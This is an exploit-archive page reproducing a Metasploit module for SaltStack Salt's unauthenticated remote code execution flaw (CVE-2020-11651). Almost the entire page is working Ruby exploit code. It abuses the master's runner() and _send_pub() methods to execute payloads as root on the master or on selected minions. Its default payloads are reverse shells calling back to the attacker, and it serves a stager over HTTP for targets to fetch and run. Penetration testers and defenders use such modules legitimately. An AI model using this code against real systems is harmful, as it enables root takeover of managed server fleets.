SaltStack Salt Master/Minion Unauthenticated Remote Code Execution

2020.05.13
Credit: wvu
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::ZeroMQ include Msf::Exploit::Remote::CheckModule include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE', 'Description' => %q{ This module exploits unauthenticated access to the runner() and _send_pub() methods in the SaltStack Salt master's ZeroMQ request server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to execute code as root on either the master or on select minions. VMware vRealize Operations Manager versions 7.5.0 through 8.1.0 are known to be affected by the Salt vulnerabilities. Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker image. }, 'Author' => [ 'F-Secure', # Discovery 'wvu' # Module ], 'References' => [ ['CVE', '2020-11651'], # Auth bypass (used by this module) ['CVE', '2020-11652'], # Authed directory traversals (not used here) ['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'], ['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'], ['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py'] ], 'DisclosureDate' => '2020-04-30', # F-Secure advisory 'License' => MSF_LICENSE, 'Platform' => ['python', 'unix'], 'Arch' => [ARCH_PYTHON, ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'Master (Python payload)', 'Description' => 'Executing Python payload on the master', 'Type' => :python, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_https' } ], [ 'Master (Unix command)', 'Description' => 'Executing Unix command on the master', 'Type' => :unix_command, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python_ssl' } ], [ 'Minions (Python payload)', 'Description' => 'Executing Python payload on the minions', 'Type' => :python, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_https' } ], [ 'Minions (Unix command)', 'Description' => 'Executing Unix command on the minions', 'Type' => :unix_command, 'DefaultOptions' => { # cmd/unix/reverse_python_ssl crashes in this target 'PAYLOAD' => 'cmd/unix/reverse_python' } ] ], 'DefaultTarget' => 0, # Defaults to master for safety 'DefaultOptions' => { 'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key' }, 'Notes' => { 'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(4506), OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', /.*/]) ]) register_advanced_options([ OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10]) ]) # XXX: https://github.com/rapid7/metasploit-framework/issues/12963 import_target_defaults end # NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key def exploit # check.reason is from auxiliary/gather/saltstack_salt_root_key if target.name.start_with?('Master') unless (root_key = check.reason) fail_with(Failure::BadConfig, "#{target['Description']} requires a root key") end print_good("Successfully obtained root key: #{root_key}") end # These are from Msf::Exploit::Remote::ZeroMQ zmq_connect zmq_negotiate print_status("#{target['Description']}: #{datastore['PAYLOAD']}") case target.name when /^Master/ yeet_runner(root_key) when /^Minions/ yeet_send_pub end # HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one sleep(wfs_delay) rescue EOFError, Rex::ConnectionError => e print_error("#{e.class}: #{e.message}") ensure # This is from Msf::Exploit::Remote::ZeroMQ zmq_disconnect end def yeet_runner(root_key) print_status("Yeeting runner() at #{peer}") # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951 # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951 runner = { 'cmd' => 'runner', # https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd 'fun' => 'salt.cmd', 'kwarg' => { 'hide_output' => true, 'ignore_retcode' => true, 'output_loglevel' => 'quiet' }, 'user' => 'root', # This is NOT the Unix user! 'key' => root_key # No JID needed, only the root key! } case target['Type'] when :python vprint_status("Executing Python code: #{payload.encoded}") # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code runner['kwarg'].merge!( 'fun' => 'cmd.exec_code', 'lang' => payload.arch.first, 'code' => payload.encoded ) when :unix_command # HTTPS doesn't appear to be supported by the server :( print_status("Serving intermediate stager over HTTP: #{start_service}") vprint_status("Executing Unix command: #{payload.encoded}") # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script runner['kwarg'].merge!( # cmd.run doesn't work due to a missing argument error, so we use this 'fun' => 'cmd.script', 'source' => get_uri, 'stdin' => payload.encoded ) end vprint_status("Unserialized clear load: #{runner}") zmq_send_message(serialize_clear_load(runner)) unless (res = sock.get_once) fail_with(Failure::Unknown, 'Did not receive runner() response') end vprint_good("Received runner() response: #{res.inspect}") end def yeet_send_pub print_status("Yeeting _send_pub() at #{peer}") # NOTE: A unique JID (job ID) is needed for every published job jid = generate_jid # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151 # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151 send_pub = { 'cmd' => '_send_pub', 'kwargs' => { 'bg' => true, 'hide_output' => true, 'ignore_retcode' => true, 'output_loglevel' => 'quiet', 'show_jid' => false, 'show_timeout' => false }, 'user' => 'root', # This is NOT the Unix user! 'tgt' => datastore['MINIONS'].source, 'tgt_type' => 'pcre', 'jid' => jid } case target['Type'] when :python vprint_status("Executing Python code: #{payload.encoded}") # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code send_pub.merge!( 'fun' => 'cmd.exec_code', 'arg' => [payload.arch.first, payload.encoded] ) when :unix_command vprint_status("Executing Unix command: #{payload.encoded}") # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run send_pub.merge!( 'fun' => 'cmd.run', 'arg' => [payload.encoded] ) end vprint_status("Unserialized clear load: #{send_pub}") zmq_send_message(serialize_clear_load(send_pub)) unless (res = sock.get_once) fail_with(Failure::Unknown, 'Did not receive _send_pub() response') end vprint_good("Received _send_pub() response: #{res.inspect}") # NOTE: This path will likely change between platforms and distros register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}") end # https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py # https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py def generate_jid DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N') end # HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP def stager_instance nil end # HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP def exe # NOTE: The shebang line is necessary in this case! <<~SHELL #!/bin/sh /bin/sh SHELL end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top